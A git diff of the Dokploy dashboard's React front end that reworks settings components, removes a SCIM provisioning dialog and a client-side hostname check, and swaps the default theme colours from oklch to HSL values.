if (isCloud) return null; if (isCloud) return null;
const clamp = (n: number) => Math.min(MAX_CONCURRENCY, Math.max(1, n)); const max = haveValidLicense
? ENTERPRISE_MAX_CONCURRENCY
: FREE_MAX_CONCURRENCY;
const clamp = (n: number) => Math.min(max, Math.max(1, n));
const handleSave = async () => { const handleSave = async () => {
const parsed = clamp(Number.parseInt(value, 10) || 1); const parsed = clamp(Number.parseInt(value, 10) || 1);
@@ -92,7 +101,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
<Input <Input
type="number" type="number"
min={1} min={1}
max={MAX_CONCURRENCY} max={max}
value={value} value={value}
onChange={(e) => setValue(e.target.value)} onChange={(e) => setValue(e.target.value)}
className="w-20" className="w-20"

View File

@@ -195,7 +195,9 @@ export const CreateServer = ({ stepper }: Props) => {
{sshKey.name} {sshKey.name}
</SelectItem> </SelectItem>
))} ))}
<SelectLabel>SSH Keys ({sshKeys?.length})</SelectLabel> <SelectLabel>
Registries ({sshKeys?.length})
</SelectLabel>
</SelectGroup> </SelectGroup>
</SelectContent> </SelectContent>
</Select> </Select>

View File

@@ -97,7 +97,6 @@ export const ShowUsers = () => {
<TableRow> <TableRow>
<TableHead className="w-[100px]">Email</TableHead> <TableHead className="w-[100px]">Email</TableHead>
<TableHead className="text-center">Role</TableHead> <TableHead className="text-center">Role</TableHead>
<TableHead className="text-center">Status</TableHead>
<TableHead className="text-center">2FA</TableHead> <TableHead className="text-center">2FA</TableHead>
<TableHead className="text-center"> <TableHead className="text-center">
@@ -174,19 +173,6 @@ export const ShowUsers = () => {
{member.role} {member.role}
</Badge> </Badge>
</TableCell> </TableCell>
<TableCell className="text-center">
<Badge
variant={
member.user.banned
? "destructive"
: "outline"
}
>
{member.user.banned
? "Deactivated"
: "Active"}
</Badge>
</TableCell>
<TableCell className="text-center"> <TableCell className="text-center">
{member.user.twoFactorEnabled {member.user.twoFactorEnabled
? "Enabled" ? "Enabled"

View File

@@ -1,7 +1,3 @@
import {
INVALID_HOSTNAME_MESSAGE,
VALID_HOSTNAME_REGEX,
} from "@dokploy/server/utils/hostname-validation";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { GlobeIcon } from "lucide-react"; import { GlobeIcon } from "lucide-react";
import { useEffect } from "react"; import { useEffect } from "react";
@@ -39,20 +35,13 @@ import { api } from "@/utils/api";
const addServerDomain = z const addServerDomain = z
.object({ .object({
domain: z domain: z.string().trim().toLowerCase(),
.string()
.trim()
.toLowerCase()
// empty clears the server domain and reverts to IP-only access
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
letsEncryptEmail: z.string(), letsEncryptEmail: z.string(),
https: z.boolean().optional(), https: z.boolean().optional(),
certificateType: z.enum(["letsencrypt", "none", "custom"]), certificateType: z.enum(["letsencrypt", "none", "custom"]),
}) })
.superRefine((data, ctx) => { .superRefine((data, ctx) => {
if (data.domain && data.https && !data.certificateType) { if (data.https && !data.certificateType) {
ctx.addIssue({ ctx.addIssue({
code: z.ZodIssueCode.custom, code: z.ZodIssueCode.custom,
path: ["certificateType"], path: ["certificateType"],
@@ -60,7 +49,6 @@ const addServerDomain = z
}); });
} }
if ( if (
data.domain &&
data.https && data.https &&
data.certificateType === "letsencrypt" && data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail !data.letsEncryptEmail

View File

@@ -255,13 +255,13 @@ export const UpdateServer = ({
<ToggleAutoCheckUpdates disabled={isPending} /> <ToggleAutoCheckUpdates disabled={isPending} />
</div> </div>
<div className="flex items-center justify-end mt-4"> <div className="space-y-4 flex items-center justify-end mt-4 ">
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
<Button variant="outline" onClick={() => onOpenChange?.(false)}> <Button variant="outline" onClick={() => onOpenChange?.(false)}>
Cancel Cancel
</Button> </Button>
{isUpdateAvailable ? ( {isUpdateAvailable ? (
<UpdateWebServer buttonClassName="w-auto" /> <UpdateWebServer />
) : ( ) : (
<Button <Button
variant="secondary" variant="secondary"

View File

@@ -20,7 +20,6 @@ import {
AlertDialogTrigger, AlertDialogTrigger,
} from "@/components/ui/alert-dialog"; } from "@/components/ui/alert-dialog";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
type ServiceStatus = { type ServiceStatus = {
@@ -56,11 +55,7 @@ const ServiceStatusItem = ({
</div> </div>
); );
export const UpdateWebServer = ({ export const UpdateWebServer = () => {
buttonClassName,
}: {
buttonClassName?: string;
}) => {
const [modalState, setModalState] = useState<ModalState>("idle"); const [modalState, setModalState] = useState<ModalState>("idle");
const [open, setOpen] = useState(false); const [open, setOpen] = useState(false);
const [healthResult, setHealthResult] = useState<HealthResult | null>(null); const [healthResult, setHealthResult] = useState<HealthResult | null>(null);
@@ -141,7 +136,7 @@ export const UpdateWebServer = ({
<AlertDialog open={open}> <AlertDialog open={open}>
<AlertDialogTrigger asChild> <AlertDialogTrigger asChild>
<Button <Button
className={cn("relative w-full", buttonClassName)} className="relative w-full"
variant="secondary" variant="secondary"
onClick={() => setOpen(true)} onClick={() => setOpen(true)}
> >

View File

@@ -87,8 +87,7 @@ export const RebuildDatabase = ({ id, type }: Props) => {
<AlertTriangle className="h-5 w-5 text-destructive" /> <AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure? Are you absolutely sure?
</AlertDialogTitle> </AlertDialogTitle>
<AlertDialogDescription asChild> <AlertDialogDescription className="space-y-2">
<div className="space-y-2">
<p>This action will:</p> <p>This action will:</p>
<ul className="list-disc list-inside space-y-1"> <ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li> <li>Stop the current database service</li>
@@ -99,17 +98,18 @@ export const RebuildDatabase = ({ id, type }: Props) => {
<p className="font-medium text-destructive mt-4"> <p className="font-medium text-destructive mt-4">
This action cannot be undone. This action cannot be undone.
</p> </p>
</div>
</AlertDialogDescription> </AlertDialogDescription>
</AlertDialogHeader> </AlertDialogHeader>
<AlertDialogFooter> <AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel> <AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction <AlertDialogAction
onClick={handleRebuild} onClick={handleRebuild}
disabled={isPending} className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
variant="destructive" asChild
> >
<Button isLoading={isPending} type="submit">
Yes, rebuild database Yes, rebuild database
</Button>
</AlertDialogAction> </AlertDialogAction>
</AlertDialogFooter> </AlertDialogFooter>
</AlertDialogContent> </AlertDialogContent>

View File

@@ -33,7 +33,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return ( return (
<Dialog> <Dialog>
<DialogTrigger asChild> <DialogTrigger asChild>
<Button variant="outline" size="sm"> <Button variant="outline" size="sm" className="w-full">
<Loader2 className="h-4 w-4 mr-2 animate-spin" /> <Loader2 className="h-4 w-4 mr-2 animate-spin" />
</Button> </Button>
</DialogTrigger> </DialogTrigger>
@@ -82,7 +82,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return ( return (
<Dialog> <Dialog>
<DialogTrigger asChild> <DialogTrigger asChild>
<Button variant="outline" size="sm"> <Button variant="outline" size="sm" className="w-full">
<Layers className="h-4 w-4 mr-2" /> <Layers className="h-4 w-4 mr-2" />
Services Services
</Button> </Button>

View File

@@ -110,7 +110,7 @@ export function NodeCard({ node, serverId }: Props) {
</div> </div>
</div> </div>
<div className="flex justify-end w-full gap-4"> <div className="flex justify-end w-full space-x-4">
<ShowNodeConfig nodeId={node.ID} serverId={serverId} /> <ShowNodeConfig nodeId={node.ID} serverId={serverId} />
<ShowNodeApplications serverId={serverId} /> <ShowNodeApplications serverId={serverId} />
</div> </div>

View File

@@ -24,7 +24,7 @@ export const ShowNodeConfig = ({ nodeId, serverId }: Props) => {
return ( return (
<Dialog> <Dialog>
<DialogTrigger asChild> <DialogTrigger asChild>
<Button variant="outline" size="sm"> <Button variant="outline" size="sm" className="w-full">
<Settings className="h-4 w-4 mr-2" /> <Settings className="h-4 w-4 mr-2" />
Config Config
</Button> </Button>

View File

@@ -35,11 +35,11 @@ export const OnboardingLayout = ({ children }: Props) => {
</blockquote> </blockquote>
</div> </div>
</div> </div>
<div className="flex min-h-svh w-full flex-col"> <div className="w-full">
<div className="flex w-full flex-1 flex-col justify-center space-y-6 max-w-lg mx-auto py-8"> <div className="flex w-full flex-col justify-center space-y-6 max-w-lg mx-auto">
{children} {children}
</div> </div>
<div className="mx-auto flex w-full max-w-lg items-center justify-center gap-1 pb-6 text-muted-foreground sm:justify-end"> <div className="flex items-center gap-4 justify-center absolute bottom-4 right-4 text-muted-foreground">
<Button variant="ghost" size="icon"> <Button variant="ghost" size="icon">
<Link href="https://github.com/dokploy/dokploy"> <Link href="https://github.com/dokploy/dokploy">
<GithubIcon /> <GithubIcon />

View File

@@ -41,7 +41,6 @@ import Link from "next/link";
import { usePathname } from "next/navigation"; import { usePathname } from "next/navigation";
import { useEffect, useState } from "react"; import { useEffect, useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import { import {
Breadcrumb, Breadcrumb,
BreadcrumbItem, BreadcrumbItem,
@@ -565,8 +564,6 @@ function SidebarLogo() {
const { isMobile } = useSidebar(); const { isMobile } = useSidebar();
const isCollapsed = state === "collapsed" && !isMobile; const isCollapsed = state === "collapsed" && !isMobile;
const { data: activeOrganization } = api.organization.active.useQuery(); const { data: activeOrganization } = api.organization.active.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const { data: invitations, refetch: refetchInvitations } = const { data: invitations, refetch: refetchInvitations } =
api.user.getInvitations.useQuery(); api.user.getInvitations.useQuery();
@@ -632,14 +629,9 @@ function SidebarLogo() {
isCollapsed && "hidden", isCollapsed && "hidden",
)} )}
> >
<div className="flex items-center gap-1.5">
<p className="text-sm font-medium leading-none"> <p className="text-sm font-medium leading-none">
{activeOrganization?.name ?? "Select Organization"} {activeOrganization?.name ?? "Select Organization"}
</p> </p>
{haveValidLicense && (
<Badge variant="blue">Enterprise</Badge>
)}
</div>
</div> </div>
</div> </div>
<ChevronsUpDown <ChevronsUpDown

View File

@@ -1,235 +0,0 @@
"use client";
import copy from "copy-to-clipboard";
import { Copy, KeyRound, Loader2, Plus, Trash2 } from "lucide-react";
import { type ReactNode, useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url";
interface Props {
children: ReactNode;
}
export const ScimDialog = ({ children }: Props) => {
const utils = api.useUtils();
const baseURL = useUrl();
const [open, setOpen] = useState(false);
const [newProviderId, setNewProviderId] = useState("");
const [justCreatedToken, setJustCreatedToken] = useState<{
providerId: string;
token: string;
} | null>(null);
const { data: providers = [], isPending } = api.scim.listProviders.useQuery(
undefined,
{ enabled: open },
);
const { mutateAsync: generateToken, isPending: isGenerating } =
api.scim.generateToken.useMutation();
const { mutateAsync: deleteProvider, isPending: isDeleting } =
api.scim.deleteProvider.useMutation();
const scimUrl = `${baseURL || "{baseURL}"}/api/auth/scim/v2`;
const handleGenerate = async () => {
const providerId = newProviderId.trim().toLowerCase();
if (!providerId) return;
try {
const result = await generateToken({ providerId });
setJustCreatedToken({
providerId: result.providerId,
token: result.scimToken,
});
setNewProviderId("");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to generate SCIM token",
);
}
};
const handleDelete = async (providerId: string) => {
try {
await deleteProvider({ providerId });
toast.success("SCIM provider removed");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to delete SCIM provider",
);
}
};
const handleCopy = (value: string, label: string) => {
copy(value);
toast.success(`${label} copied`);
};
const handleOpenChange = (next: boolean) => {
setOpen(next);
if (!next) setJustCreatedToken(null);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>{children}</DialogTrigger>
<DialogContent className="sm:max-w-[560px]">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<KeyRound className="size-5" />
SCIM provisioning
</DialogTitle>
<DialogDescription>
Automatically provision, update, and deactivate users from your
identity provider (Okta, Entra ID, etc.). Configure the SCIM
endpoint below in your IdP.
</DialogDescription>
</DialogHeader>
<div className="space-y-4 py-2">
<div className="grid gap-1">
<Label className="text-xs font-medium text-muted-foreground">
SCIM 2.0 endpoint URL
</Label>
<div className="flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-muted px-2 py-1.5 font-mono text-xs">
{scimUrl}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() => handleCopy(scimUrl, "Endpoint URL")}
disabled={!baseURL}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
{justCreatedToken && (
<div className="rounded-md border border-amber-500/40 bg-amber-500/10 p-3">
<p className="text-sm font-medium">
Bearer token for {justCreatedToken.providerId}
</p>
<p className="mt-1 text-xs text-muted-foreground">
Copy this token now it will not be shown again. Paste it into
your IdP's SCIM configuration.
</p>
<div className="mt-2 flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-background px-2 py-1.5 font-mono text-xs">
{justCreatedToken.token}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() =>
handleCopy(justCreatedToken.token, "Bearer token")
}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
)}
<div className="space-y-2">
<Label className="text-sm font-medium">
Generate token for a new provider
</Label>
<div className="flex gap-2">
<Input
value={newProviderId}
onChange={(e) => setNewProviderId(e.target.value)}
placeholder="okta, entra, jumpcloud..."
className="font-mono text-sm"
onKeyDown={(e) => {
if (e.key === "Enter") {
e.preventDefault();
void handleGenerate();
}
}}
/>
<Button
size="sm"
onClick={handleGenerate}
disabled={!newProviderId.trim() || isGenerating}
>
<Plus className="mr-1 size-4" />
Generate
</Button>
</div>
<p className="text-xs text-muted-foreground">
Choose a unique identifier for this IdP connection (lowercase,
alphanumeric, dashes).
</p>
</div>
<div className="space-y-2">
<Label className="text-sm font-medium">Existing providers</Label>
{isPending ? (
<div className="flex items-center gap-2 justify-center py-4">
<Loader2 className="size-4 animate-spin text-muted-foreground" />
<span className="text-sm text-muted-foreground">
Loading...
</span>
</div>
) : providers.length === 0 ? (
<p className="rounded-md border border-dashed bg-muted/30 px-3 py-4 text-center text-sm text-muted-foreground">
No SCIM providers configured yet.
</p>
) : (
<ul className="flex flex-col gap-2">
{providers.map((provider) => (
<li
key={provider.id}
className="flex items-center gap-2 rounded-md border bg-muted/30 px-3 py-2"
>
<span className="flex-1 font-mono text-sm">
{provider.providerId}
</span>
<DialogAction
title="Remove SCIM provider"
description={`Remove "${provider.providerId}"? Existing provisioned users will stay but the IdP will no longer be able to sync.`}
type="destructive"
onClick={() => handleDelete(provider.providerId)}
>
<Button
variant="ghost"
size="icon"
className="size-8 shrink-0 text-destructive hover:text-destructive"
disabled={isDeleting}
>
<Trash2 className="size-3.5" />
</Button>
</DialogAction>
</li>
))}
</ul>
)}
</div>
</div>
<DialogFooter>
<Button variant="outline" onClick={() => handleOpenChange(false)}>
Close
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};

View File

@@ -2,7 +2,6 @@
import { import {
Eye, Eye,
KeyRound,
Loader2, Loader2,
LogIn, LogIn,
Pencil, Pencil,
@@ -35,7 +34,6 @@ import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url"; import { useUrl } from "@/utils/hooks/use-url";
import { RegisterOidcDialog } from "./register-oidc-dialog"; import { RegisterOidcDialog } from "./register-oidc-dialog";
import { RegisterSamlDialog } from "./register-saml-dialog"; import { RegisterSamlDialog } from "./register-saml-dialog";
import { ScimDialog } from "./scim-dialog";
type ProviderForDetails = { type ProviderForDetails = {
id: string | null; id: string | null;
@@ -171,22 +169,15 @@ export const SSOSettings = () => {
Users can sign in with their organization&apos;s IdP. Users can sign in with their organization&apos;s IdP.
</CardDescription> </CardDescription>
</div> </div>
<div className="flex flex-wrap gap-2 shrink-0">
<Button <Button
variant="outline" variant="outline"
size="sm" size="sm"
onClick={() => setManageOriginsOpen(true)} onClick={() => setManageOriginsOpen(true)}
className="shrink-0"
> >
<Shield className="mr-2 size-4" /> <Shield className="mr-2 size-4" />
Manage origins Manage origins
</Button> </Button>
<ScimDialog>
<Button variant="outline" size="sm">
<KeyRound className="mr-2 size-4" />
Manage SCIM
</Button>
</ScimDialog>
</div>
</div> </div>
{isPending ? ( {isPending ? (

View File

@@ -56,59 +56,50 @@ type FormSchema = z.infer<typeof formSchema>;
const DEFAULT_CSS_TEMPLATE = `/* ============================================ const DEFAULT_CSS_TEMPLATE = `/* ============================================
Dokploy Default Theme - CSS Variables Dokploy Default Theme - CSS Variables
Modify these values to customize your instance. Modify these values to customize your instance.
Theme colors use the oklch() color format
(Tailwind CSS v4). You can use any valid CSS
color, e.g. oklch(0.6 0.2 250), #3b82f6 or
hsl(217 91% 60%).
Chart colors (--chart-*) are the exception:
they are still declared as raw HSL triples
(H S% L%) because they get wrapped in hsl(...)
where they are used.
============================================ */ ============================================ */
/* ---------- Light Mode ---------- */ /* ---------- Light Mode ---------- */
:root { :root {
--background: oklch(1 0 0); --background: 0 0% 100%;
--foreground: oklch(0.145 0 0); --foreground: 240 10% 3.9%;
--card: oklch(1 0 0); --card: 0 0% 100%;
--card-foreground: oklch(0.145 0 0); --card-foreground: 240 10% 3.9%;
--popover: oklch(1 0 0); --popover: 0 0% 100%;
--popover-foreground: oklch(0.145 0 0); --popover-foreground: 240 10% 3.9%;
--primary: oklch(0.205 0 0); --primary: 240 5.9% 10%;
--primary-foreground: oklch(0.985 0 0); --primary-foreground: 0 0% 98%;
--secondary: oklch(0.97 0 0); --secondary: 240 4.8% 95.9%;
--secondary-foreground: oklch(0.205 0 0); --secondary-foreground: 240 5.9% 10%;
--muted: oklch(0.97 0 0); --muted: 240 4.8% 95.9%;
--muted-foreground: oklch(0.556 0 0); --muted-foreground: 240 3.8% 46.1%;
--accent: oklch(0.97 0 0); --accent: 240 4.8% 95.9%;
--accent-foreground: oklch(0.205 0 0); --accent-foreground: 240 5.9% 10%;
--destructive: oklch(0.577 0.245 27.325); --destructive: 0 84.2% 50.2%;
--destructive-foreground: 0 0% 98%;
--border: oklch(0.922 0 0); --border: 240 5.9% 90%;
--input: oklch(0.922 0 0); --input: 240 5.9% 90%;
--ring: oklch(0.708 0 0); --ring: 240 10% 3.9%;
--radius: 0.625rem; --radius: 0.5rem;
/* Sidebar */ /* Sidebar */
--sidebar: oklch(0.985 0 0); --sidebar-background: 0 0% 98%;
--sidebar-foreground: oklch(0.145 0 0); --sidebar-foreground: 240 5.3% 26.1%;
--sidebar-primary: oklch(0.205 0 0); --sidebar-primary: 240 5.9% 10%;
--sidebar-primary-foreground: oklch(0.985 0 0); --sidebar-primary-foreground: 0 0% 98%;
--sidebar-accent: oklch(0.97 0 0); --sidebar-accent: 240 4.8% 95.9%;
--sidebar-accent-foreground: oklch(0.205 0 0); --sidebar-accent-foreground: 240 5.9% 10%;
--sidebar-border: oklch(0.922 0 0); --sidebar-border: 220 13% 91%;
--sidebar-ring: oklch(0.708 0 0); --sidebar-ring: 217.2 91.2% 59.8%;
/* Charts (raw HSL triples: H S% L%) */ /* Charts */
--chart-1: 173 58% 39%; --chart-1: 173 58% 39%;
--chart-2: 12 76% 61%; --chart-2: 12 76% 61%;
--chart-3: 197 37% 24%; --chart-3: 197 37% 24%;
@@ -118,44 +109,45 @@ const DEFAULT_CSS_TEMPLATE = `/* ============================================
/* ---------- Dark Mode ---------- */ /* ---------- Dark Mode ---------- */
.dark { .dark {
--background: oklch(0.145 0 0); --background: 0 0% 0%;
--foreground: oklch(0.985 0 0); --foreground: 0 0% 98%;
--card: oklch(0.205 0 0); --card: 240 4% 10%;
--card-foreground: oklch(0.985 0 0); --card-foreground: 0 0% 98%;
--popover: oklch(0.205 0 0); --popover: 240 10% 3.9%;
--popover-foreground: oklch(0.985 0 0); --popover-foreground: 0 0% 98%;
--primary: oklch(0.922 0 0); --primary: 0 0% 98%;
--primary-foreground: oklch(0.205 0 0); --primary-foreground: 240 5.9% 10%;
--secondary: oklch(0.269 0 0); --secondary: 240 3.7% 15.9%;
--secondary-foreground: oklch(0.985 0 0); --secondary-foreground: 0 0% 98%;
--muted: oklch(0.269 0 0); --muted: 240 4% 10%;
--muted-foreground: oklch(0.708 0 0); --muted-foreground: 240 5% 64.9%;
--accent: oklch(0.269 0 0); --accent: 240 3.7% 15.9%;
--accent-foreground: oklch(0.985 0 0); --accent-foreground: 0 0% 98%;
--destructive: oklch(0.704 0.191 22.216); --destructive: 0 84.2% 50.2%;
--destructive-foreground: 0 0% 98%;
--border: oklch(1 0 0 / 10%); --border: 240 3.7% 15.9%;
--input: oklch(1 0 0 / 15%); --input: 240 4% 10%;
--ring: oklch(0.556 0 0); --ring: 240 4.9% 83.9%;
/* Sidebar */ /* Sidebar */
--sidebar: oklch(0.205 0 0); --sidebar-background: 240 5.9% 10%;
--sidebar-foreground: oklch(0.985 0 0); --sidebar-foreground: 240 4.8% 95.9%;
--sidebar-primary: oklch(0.488 0.243 264.376); --sidebar-primary: 224.3 76.3% 48%;
--sidebar-primary-foreground: oklch(0.985 0 0); --sidebar-primary-foreground: 0 0% 100%;
--sidebar-accent: oklch(0.269 0 0); --sidebar-accent: 240 3.7% 15.9%;
--sidebar-accent-foreground: oklch(0.985 0 0); --sidebar-accent-foreground: 240 4.8% 95.9%;
--sidebar-border: oklch(1 0 0 / 10%); --sidebar-border: 240 3.7% 15.9%;
--sidebar-ring: oklch(0.556 0 0); --sidebar-ring: 217.2 91.2% 59.8%;
/* Charts (raw HSL triples: H S% L%) */ /* Charts */
--chart-1: 220 70% 50%; --chart-1: 220 70% 50%;
--chart-2: 340 75% 55%; --chart-2: 340 75% 55%;
--chart-3: 30 80% 55%; --chart-3: 30 80% 55%;

View File

@@ -94,10 +94,9 @@ export function TagFilter({
<CommandEmpty> <CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1"> <div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground"> <span className="text-sm text-muted-foreground">
{tags.length === 0 No tags found.
? "No tags created yet."
: "No tags found."}
</span> </span>
<HandleTag />
</div> </div>
</CommandEmpty> </CommandEmpty>
<CommandGroup> <CommandGroup>
@@ -119,9 +118,6 @@ export function TagFilter({
); );
})} })}
</CommandGroup> </CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList> </CommandList>
</Command> </Command>
</PopoverContent> </PopoverContent>

View File

@@ -111,12 +111,19 @@ export function TagSelector({
<CommandEmpty> <CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1"> <div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground"> <span className="text-sm text-muted-foreground">
{tags.length === 0 No tags found.
? "No tags created yet."
: "No tags found."}
</span> </span>
<HandleTag />
</div> </div>
</CommandEmpty> </CommandEmpty>
{tags.length === 0 && (
<div className="flex flex-col items-center gap-2 py-4">
<span className="text-sm text-muted-foreground">
No tags created yet.
</span>
<HandleTag />
</div>
)}
<CommandGroup> <CommandGroup>
{tags.map((tag) => { {tags.map((tag) => {
const isSelected = selectedTags.includes(tag.id); const isSelected = selectedTags.includes(tag.id);
@@ -146,9 +153,6 @@ export function TagSelector({
); );
})} })}
</CommandGroup> </CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList> </CommandList>
</Command> </Command>
</PopoverContent> </PopoverContent>

View File

@@ -1,7 +1,8 @@
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react"; import * as React from "react";
import { Accordion as AccordionPrimitive } from "radix-ui"; import { Accordion as AccordionPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
function Accordion({ function Accordion({
className, className,

View File

@@ -1,9 +1,10 @@
"use client"; "use client";
import * as React from "react";
import { AlertDialog as AlertDialogPrimitive } from "radix-ui"; import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
function AlertDialog({ function AlertDialog({
...props ...props

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority"; import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client"; "use client";
import * as React from "react";
import { Avatar as AvatarPrimitive } from "radix-ui"; import { Avatar as AvatarPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,8 @@
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react"; import * as React from "react";
import { Slot } from "radix-ui"; import { Slot } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) { function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) {
return ( return (

View File

@@ -1,4 +1,4 @@
import type * as React from "react"; import * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,6 +1,6 @@
import * as React from "react"; import * as React from "react";
import type { TooltipValueType } from "recharts";
import * as RechartsPrimitive from "recharts"; import * as RechartsPrimitive from "recharts";
import type { TooltipValueType } from "recharts";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,9 +1,10 @@
"use client"; "use client";
import { CheckIcon } from "lucide-react"; import * as React from "react";
import { Checkbox as CheckboxPrimitive } from "radix-ui"; import { Checkbox as CheckboxPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { CheckIcon } from "lucide-react";
function Checkbox({ function Checkbox({
className, className,

View File

@@ -1,8 +1,9 @@
"use client"; "use client";
import * as React from "react";
import { Command as CommandPrimitive } from "cmdk"; import { Command as CommandPrimitive } from "cmdk";
import { CheckIcon, SearchIcon } from "lucide-react";
import type * as React from "react"; import { cn } from "@/lib/utils";
import { import {
Dialog, Dialog,
DialogContent, DialogContent,
@@ -11,7 +12,7 @@ import {
DialogTitle, DialogTitle,
} from "@/components/ui/dialog"; } from "@/components/ui/dialog";
import { InputGroup, InputGroupAddon } from "@/components/ui/input-group"; import { InputGroup, InputGroupAddon } from "@/components/ui/input-group";
import { cn } from "@/lib/utils"; import { SearchIcon, CheckIcon } from "lucide-react";
function Command({ function Command({
className, className,
@@ -44,6 +45,10 @@ function CommandDialog({
}) { }) {
return ( return (
<Dialog {...props}> <Dialog {...props}>
<DialogHeader className="sr-only">
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<DialogContent <DialogContent
className={cn( className={cn(
"top-1/3 translate-y-0 overflow-hidden rounded-xl! p-0", "top-1/3 translate-y-0 overflow-hidden rounded-xl! p-0",
@@ -51,11 +56,7 @@ function CommandDialog({
)} )}
showCloseButton={showCloseButton} showCloseButton={showCloseButton}
> >
<DialogHeader className="sr-only"> {children}
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<Command>{children}</Command>
</DialogContent> </DialogContent>
</Dialog> </Dialog>
); );
@@ -67,7 +68,7 @@ function CommandInput({
}: React.ComponentProps<typeof CommandPrimitive.Input>) { }: React.ComponentProps<typeof CommandPrimitive.Input>) {
return ( return (
<div data-slot="command-input-wrapper" className="p-1 pb-0"> <div data-slot="command-input-wrapper" className="p-1 pb-0">
<InputGroup className="h-11! in-data-[slot=dialog-content]:h-12! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2! in-data-[slot=dialog-content]:*:[svg]:size-5"> <InputGroup className="h-11! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2!">
<CommandPrimitive.Input <CommandPrimitive.Input
data-slot="command-input" data-slot="command-input"
className={cn( className={cn(
@@ -121,7 +122,7 @@ function CommandGroup({
<CommandPrimitive.Group <CommandPrimitive.Group
data-slot="command-group" data-slot="command-group"
className={cn( className={cn(
"overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground in-data-[slot=dialog-content]:**:[[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0", "overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground",
className, className,
)} )}
{...props} {...props}
@@ -151,15 +152,13 @@ function CommandItem({
<CommandPrimitive.Item <CommandPrimitive.Item
data-slot="command-item" data-slot="command-item"
className={cn( className={cn(
